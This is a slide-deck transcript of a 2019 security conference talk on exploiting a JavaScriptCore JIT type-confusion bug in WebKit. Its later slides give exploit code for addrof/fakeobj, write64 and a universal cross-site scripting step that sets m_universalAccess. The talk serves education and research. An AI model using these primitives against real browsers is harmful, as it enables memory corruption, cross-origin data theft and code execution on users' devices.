Share
Embed
Transcript
91 slides
-
whoami • Security Researcher at SecFence, mostly iOS kernel exploitation.
• Have released kernel exploits publicly. • Member of the Electra jailbreak team. • Also play CTFs for OpenToAll. -
struct Talk { 1. WebKit Walkthrough 2. The Bug 3.
Exploitation }; -
file webkit • Browser engine. • Powers Safari, MobileSafari, WebkitGTK,
Nintendo Switch Browser, PlayStation Browser, Tesla entertainment unit and a lot more. • Long-standing browser exploitation favourite. • Receives a ton of security patches. • Gets pwned anyways. -
file webkit • Three major components: • WebKit Template Framework
• WebCore • JavaScriptCore • We will target JavaScriptCore. -
whatis JavaScriptCore.framework • Handles JavaScript in WebKit. • Supports almost
all of ECMAScript 6 (ES6). • Just-in-Time compilation is present on most platforms. • Over 400k lines of C++ code. • Complexity makes it a good target. -
Why JavaScriptCore? • Implementing scripting languages is hard. • Heap
allocations, lifetime and state management. • Correctly implementing JavaScript is even harder. • WebCore is hardened against memory corruption. -
let num = 13.37; • Squeezing maximum information into a
processor word has always been a focus for almost all browser engines. To do this, the type of a particular variable is encoded into its pointer (or even into the actual value). • Historically there have been two approaches to this: • Pointer Tagging, which is used in the V8 engine, and • NaN Boxing, used in JavaScriptCore. • Floats and doubles in JavaScript are IEEE754 encoded, but during NaN boxing, a linear addition of 2^48 is done on encoding. -
let num = 13.37; Memory Range Type 0x0000_0000_0000_0000 — 0x0000_ffff_fffff_ffff
??? 0x0001_0000_0000_0000 — 0xfffe_ffff_fffff_ffff Double Precision Floats 0xffff_0000_0000_0000 — 0xffff_ffff_fffff_ffff ??? From a 64-bit perspective, any boxed value outside of 0x0001_0000_0000_0000 - 0xfffe_ffff_ffff_ffff is NaN. -
let num = 13.37; Memory Range Type 0x0000_0000_0000_0000 — 0x0000_ffff_fffff_ffff
Pointers 0x0001_0000_0000_0000 — 0xfffe_ffff_fffff_ffff Double Precision Floats 0xffff_0000_0000_0000 — 0xffff_ffff_fffff_ffff 32-bit Integers -
let num = 0x1337; • Since JSC only handles 32
bit integers upto 0x7fffffff, an Int32 x is encoded by OR-ing it: 0xffff << 48 | x. • 0x0000_0000_fade_f00d => 0xffff_0000_fade_f00d. • Pointers are also encoded similarly — the top 16 bits are all zeroes. • JSC can therefore only address upto 32,768 GB of virtual memory. -
let bool = true; JS constant Value False 0x6 True
0x7 Undefined 0xA Null 0x2 -
let obj = {}; • JavaScriptCore may allocate objects on
the heap. These objects are tracked as JSObjects. • Each JSObject inherits from JSCell and optionally has a butterfly pointer. • JSCell contains important metadata about the object. -
class JSC::JSCell • Structure ID • Describes the ‘shape’ of
the object. • Indexing Type • Describes how indexed properties are accessed. • JS Type • Describes the type of the object. • Flags, GC state -
JSObject->m_butterfly • JavaScript allows defining properties on an object. •
let obj = {a: 1, b: 2, c: 3}; // Named properties • let array = [13.37, 13.37]; // Indexed properties • If an object has less than 6 named properties or no indexed properties, the properties are stored inline with the object. • If it has more than 6 properties or any indexed property, named and indexed properties may be stored out of line in a butterfly. -
JSObject->m_butterfly • A butterfly is an out-of-line object which stores
excess named properties and all indexed properties. • The length field consists of two 32-bit integers, vectorLength and publicLength. • The butterfly pointer in a JSObject points to indexed0. indexed0 indexed1 indexed2 length named6 named7 m_butterfly -
JSObject->m_butterfly var obj = [ ]; for (let i =
0; i < 0x100; i++) obj[i] = i; obj.prop = 0xfade; 0xffff00000000fade m_butterfly 0x0000014d00000100 0xffff000000000000 0xffff000000000001 0xffff000000000002 length obj[0] obj[1] obj.prop -
JSObject->m_butterfly var obj = [ ]; for (let i =
0; i < 0x100; i++) obj[i] = i; obj.prop = 0xfade; TAG_INT32(0xfade) m_butterfly 0x0000014d00000100 TAG_INT32(0x0000) TAG_INT32(0x0001) TAG_INT32(0x0002) length obj.prop obj[0] obj[1] -
let array = []; • Arrays are implemented by the
JSArray class. • The Indexing Type of the array determines how its indexed properties are accessed. • We will manipulate the Indexing Type to exploit the bug. -
let array = []; • let doubleArray = [13.37, 13.38,
13.39]; // ArrayWithDouble • let intArray = [1337, 1338, 1339]; // ArrayWithInt32 • let objectArray = [{l33t: 1337}, {a: 1}]; // ArrayWithContiguous • let mixedArray = [1337, 13.37, {a: 1}]; // ArrayWithContiguous • let sparseArray = [{}, 1337, 13.37]; // ArrayWithArrayStorage sparseArray[1337] = {}; -
m_jit • Compiles JavaScript code into native code that can
run directly on the processor. • Performs optimisations on emitted code. • Compiled code is inserted on-the-fly using On Stack Replacement (OSR). -
m_jit • Functions start execution in the low-level interpreter, LLInt.
• Has a three-tiered Just-in-Time compiler: • Baseline JIT, • DFG JIT, • and FTL JIT. • JIT compilation is absent on some platforms. -
m_jit • Each level of JIT emits optimised native code.
• Some of the optimisation consists of removing type checks. • The fewer type checks we have to face, the easier exploitation becomes. -
JITType::BaselineJIT • Invoked when code has ran more than 200
times in the LLInt interpreter. • Minimal optimisations, lots of type checks, quick compile time but relatively poor performance. • Makes almost no assumptions. -
JITType::DFGJIT • Stands for Data Flow Graph JIT. • Invoked
when a baseline JITted function is invoked more than 66 times, or a statement is invoked more than 1000 times. • Relatively slower than baseline JIT, code emitted is faster. • One of the key optimisations is to reduce the number of emitted type checks. • Makes some assumptions on object types. -
JITType::FTLJIT • Faster-Than-Light*. • Emitted code is well optimised, traditional
compiler-like optimisations are performed. • Considerable compilation time. • Lots of type assumptions. -
Walkthrough Recap • NaN-boxing to encode floats, small integers and
pointers. • Named properties for objects stored inline or out-of-line in a butterfly. • JITs make several assumptions about the variable types in the emitted code. -
Assumptions Considered Harmful • Each JIT tier builds upon several
assumptions about argument types. • For example, a DFG JIT compiled function may assume that a variable is an array of doubles, and may even emit specialised code for that case. • In case a state change is detected by DFG or FTL JITs, they will bail out to the Baseline JIT. • Problems can arise if these assumptions are violated when the JIT believes they are still valid. -
Un-modelled Side Effects Considered Harmful • Functions which perform ‘dangerous’
operations are marked as side-effecting functions, and executeEffects()/ clobberWorld() is called when they are invoked. • Changing types of variables, changing array bounds, changing prototypes, evals, etc. are considered dangerous. • Several assumptions are invalidated, most importantly those made about the types of all arrays in the graph. • If we could perform the operations without invalidating assumptions, we could trigger a type confusion. This would be considered an un-modelled side effect. -
1 in obj • ECMAScript has an in operator —
used to check if a property exists on a variable or its prototypes. • let hasOne = 1 in [ 1, 2, 3 ]; // true • DFG JIT implements this operator as the HasIndexedProperty node. • HasIndexedProperty is not (usually) considered a side effecting node. -
HasIndexedProperty is not considered a side effecting node But we
can override HasIndexedProperty using a Proxy Trap. -
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, { has: function() { /* Side
Effect */ } }); let date = new Date(); date[1] = 1; let result = 1337 in date; Side effect is triggered! Makes sure that GetIndexedProperty is not a NOP -
addrof & fakeobj • addrof returns the address of a
target object. • Conversely, fakeobj materialises an object at a target address and returns it. • fakeobj does not allocate an object or write to it — it simply creates a reference to a non-existent object at the target address. -
let date = new Date(); date[1] = 1; let address
= 13.37; let jitFunc = () => { doubleArray[0]; let result = 123 in date; address = doubleArray[1]; return result; } for (let i = 0; i < 0x10000; i++) jitFunc(); trigger = true; jitFunc(); print(address); Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, { has: function() { if (trigger) doubleArray[1] = obj; } }); let doubleArray = new Array(13.37, 13.37); let obj = {}; let trigger = false; Array is now ArrayWithContiguous, however, JIT compiled code still assumes it is an ArrayWithDouble. Array is an ArrayWithDouble. Prints 2.190760907e-314 (0x1084bc040) — the address of obj. Force JIT compilation. -
let object = { property_1: 1, property_2: 2, property_3: 3,
property_4: 4, }; -
JSObject redux Offset Contents + 0x00 JSCell Header + 0x08
Butterfly Pointer + 0x10 1st Inline Property + 0x18 2nd Inline Property + 0x20 3rd Inline Property + 0x28 4th Inline Property Object Pointer -
JSObject redux Offset Contents + 0x00 JSCell Header + 0x08
Butterfly Pointer + 0x10 1st Inline Property + 0x18 2nd Inline Property + 0x20 3rd Inline Property + 0x28 4th Inline Property Object Pointer -
JSObject redux Offset Contents + 0x00 JSCell Header + 0x08
Butterfly Pointer + 0x10 Fake Butterfly Length + 0x18 Fake JSCell Header + 0x20 Fake Butterfly Pointer (Points to the fake object) + 0x28 4th Inline Property 1st Inline Property of the fake object Object Pointer -
JSObject redux Offset Contents + 0x00 JSCell Header + 0x08
Butterfly Pointer + 0x10 Fake Butterfly Length + 0x18 Fake JSCell Header (IndexingType Double) + 0x20 Fake Butterfly Pointer (Points to the fake object) + 0x28 1st Inline Property of the fake object container fake -
A Tale of Two Butterflies • Indexed properties and out
of line properties are stored in a butterfly. • Value type is entirely controlled by IndexingType of an array. • If we can redirect a butterfly into controlled memory, we can read or mutate memory by getting or setting a property. -
JSCell Header Butterfly Pointer victim JSCell Header Butterfly Pointer fakeArray
target +0x8 +0x10 victim.prop length victim[0] -
JSCell Header Butterfly Pointer victim JSCell Header Butterfly Pointer fakeArray
target +0x8 +0x10 victim.prop length victim[0] -
let victim = [13.37]; victim.push(13.37); victim.prop = 13.37; let fakeArrayContainer
= { jsCellHeader: header, // IndexingType ArrayWithDouble butterfly: victim }; let fakeArray = fakeobj(addrof(fakeArrayContainer) + 0x10); -
write64 function write64(address, data) { fakeArray[1] = address + 0x10;
victim.prop = data; } -
Universal Cross-Site Scripting • Cross-origin requests are restricted by default
and gated by CORS policies. • However, WebKit’s SecurityOrigin allows arbitrary cross- origin requests if the m_universalAccess boolean flag is set. • This never happens in normal operation, however, we can set it ourselves. -
Universal Cross-Site Scripting let xhr = new XMLHttpRequest(); const documentAddr
= addrof(window.document); const p1 = read64(Add(documentAddr, 0x18)); const p2 = read64(Add(p1, 0xa0)); const p3 = read64(Add(p2, 0x8)); const flagAddr = Add(p3, 0x30); let flags = read64(flagAddr); flags.assignAdd(flags, 0x100); write64(flagAddr, flags); xhr.open('GET', 'https://google.com/', false); xhr.send(); document.getElementById('xss').innerText = xhr.responseText; -
macOS Remote Code Execution • JIT produces native code to
run on host processor. • Emitted code’s memory page must have RWX permissions. • We can control memory, therefore we can dump shellcode inside the JIT emitted region and execute it. • Shellcode would run within Safari’s sandbox profile. -
iOS Remote Code Execution • Safari is the only* application
which can ever create a RWX mapping on iOS. • Several access control changes on JIT pages over the past few years, such as Bulletproof JIT and APRR. • Only specialised functions can now write code to executable pages, so read64/write64 cannot dump shell code into JIT pages. • Memory access isn’t enough for RCE— control flow must be hijacked too. -
iOS Remote Code Execution • Return Oriented Programming is a
code reuse attack — by manipulating a code pointer to point to a chain of gadgets, the specialised JIT writing functions can be called. • We start our ROP chain by overwriting a pointer inside a C++ object’s virtual function table (vtable). • Control Flow Integrity mitigations, such as ARMv8.3 pointer authentication can defeat ROP-based exploits (in theory). -
iOS Remote Code Execution • Pointer Authentication is used to
sign sensitive pointers and small blocks of data. 0x0000_0000_fade_f00d => 0x00f9_c710_fade_f00d • Function return addresses and C++ vtables are also signed. // Sign the return address in X30 with the B key and the SP as the context value. PACIBSP […] RETAB // Verify address in X30 and jump back to it. • If a signed pointer is modified or replaced with an unsigned pointer, the process will crash. -
iOS Remote Code Execution • Authenticated pointers can still be
forged — if a signing gadget can be reached, ROP is possible again. • Signing gadgets may also be lost across versions. • ROP chains are extremely fragile and dependant on both the target device and version. • Attackers must have at least three variants to work around varied silicon-based mitigations across devices. -
Thanks • Luca Todesco (@qwertyoruiop) • Niklas B. (@_niklasb) •
Samuel Groß (@5aelo) • Secfence -
Further Reading* *Totally not an exploit link. Questions? https://blog.umangis.me/the-art-of-webkit-exploitation/ BSides
Delhi 2019. v1.0-rc4 (96a401d2/PUB)